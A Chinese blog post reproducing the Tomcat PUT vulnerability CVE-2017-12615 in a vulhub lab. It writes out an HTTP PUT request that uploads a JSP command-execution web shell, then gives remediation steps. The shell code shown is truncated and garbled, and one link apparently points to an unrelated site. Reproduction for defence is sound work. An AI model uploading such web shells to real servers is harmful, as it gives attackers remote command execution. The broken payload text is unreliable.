跟我们一起
玩转路由器

Tomcat Put(CVE-2017-12615)复现

在 vulhub 环境中,启动后访问 8080 端口,可以看到 tomcat 的 example 界面:

根据描述,在 Windows 服务器下,将 readonly 参数设置为 false 时,可以通过 PUT 方式创建一个 JSP 文件,并执行任意代码。

直接写入以下内容:

PUT /cmd.jsp/ HTTP/1.1

Host: 172.16.1.44:8080

Accept: /

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type:application/x-www-form-urlencoded

Content-Length: 666

+”\n”);}buf.close();} catch(Exception e) {line.append(e.getMessage());}returnline.toString();}%>”+excuteCmd(request.getParameter(“cmd”))+””);}else{out.println(“:-)”);}%>

访问:https://www.php.cn/link/4f84c116da1cd8920decdc4951488103

也可以使用脚本写入文件:

效果相同!

由于存在去掉最后的 / 的特性,这个漏洞自然影响 Linux 以及 Windows 版本。经过测试,这个漏洞影响全部的 Tomcat 版本,从 5.x 到 9.x 无一幸免。目前来说,最好的解决方式是将 conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 true,才能防止漏洞。

修复方案:

  1. 配置 readonly 和 VirtualDirContext 值为 True 或注释参数,禁止使用 PUT 方法并重启 Tomcat。注意:如果禁用 PUT 方法,对于依赖 PUT 方法的应用,可能导致业务失效。

  2. 根据官方补丁升级到最新版本。

赞(0)
版权声明:本文采用知识共享 署名4.0国际许可协议 [BY-NC-SA] 进行授权
文章名称:《Tomcat Put(CVE-2017-12615)复现》
文章链接:https://www.lu-you.com/settings/26515.html
本站资源来源于互联网整理,若有图片影像侵权,联系邮箱429682998@qq.com删除,谢谢。

评论 抢沙发

登录

找回密码

注册